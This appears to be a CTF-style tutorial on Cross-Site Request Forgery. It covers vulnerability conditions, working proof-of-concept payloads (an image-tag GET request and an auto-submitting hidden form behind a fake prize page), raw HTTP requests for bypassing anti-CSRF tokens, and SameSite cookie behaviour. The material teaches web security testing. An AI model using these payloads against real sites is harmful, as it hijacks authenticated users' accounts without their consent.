intermediatecat/web~3 min read

Cross-Site Request Forgery (CSRF)

Trick authenticated victims into executing state-changing actions on a target application without their knowledge.

// prerequisite reading

The concept

Cross-Site Request Forgery (CSRF) happens when a malicious site causes a victim’s web browser to perform an unwanted action on a trusted site where the user is currently authenticated.

Since browsers automatically send session cookies (like JSESSIONID or session_id) with cross-origin requests by default (unless restricted by SameSite policies), the target application treats the incoming request as legitimately authored by the victim.

+----------------+          1. Victim visits malicious page          +------------------+
| Victim Browser | <------------------------------------------------ | Attacker Website |
+----------------+                                                   +------------------+
        |
        | 2. Browser fires automated POST request
        |    with victim's stored session cookie
        v
+------------------+
| Target Web App   | (App processes action e.g., email change)
+------------------+

Vulnerability conditions

A CSRF vulnerability exists when three key conditions are met:

  1. A relevant action: There is an action within the app that the attacker has a reason to induce (e.g., changing an account email, updating a password, or transferring funds).
  2. Cookie-based session handling: Performing the action relies solely on session cookies, with no other mechanism for tracking sessions or validating user intent.
  3. No unpredictable parameters: The requests that perform the action contain no parameters whose values the attacker cannot determine or guess (e.g., an anti-CSRF token).

Building a CSRF proof-of-concept (PoC)

If an application updates a user’s email via a GET or POST request without CSRF tokens:

GET-based CSRF

<img src="https://vulnerable-target.com/user/email/change?email=attacker@evil.com" />

POST-based CSRF HTML payload

<html>
  <body>
    <h1>You won a prize! Loading...</h1>
    <form id="csrfForm" action="https://vulnerable-target.com/account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

Common anti-CSRF bypass techniques

1. Removing the CSRF token

Some applications validate tokens when present, but skip validation if the parameter is omitted completely:

POST /account/change-email HTTP/1.1
Host: vulnerable-target.com
Cookie: session=xyz123

email=attacker@evil.com

2. Changing the HTTP method

Applications using frameworks that bind handlers to multiple methods might validate tokens on POST requests but ignore them on GET requests:

GET /account/change-email?email=attacker@evil.com HTTP/1.1
Host: vulnerable-target.com
Cookie: session=xyz123

3. Decoupled token validation

Some apps verify that a token is structurally valid without checking if it belongs to the active user session. Test by substituting a valid CSRF token harvested from your own attacker account.

If the app checks the csrfToken parameter against a csrfKey cookie value, test if you can set or override cookies via a Cookie Injection / Header Injection vulnerability elsewhere on the domain.

Modern browsers enforce the SameSite attribute on cookies:

SameSite attribute Behavior
Strict Cookie is never sent in cross-site requests (e.g., following a link or submitting a cross-site form).
Lax Cookie is withheld on cross-site subrequests (images/iframes), but sent when a user navigates to the origin site (top-level GET navigation).
None Cookie is sent in all cross-site contexts, but requires Secure flag (HTTPS only).

CTF Note: If SameSite=Lax is enabled, standard cross-site POST forms will fail, but GET-based state changes or CSRF via XSS can still succeed.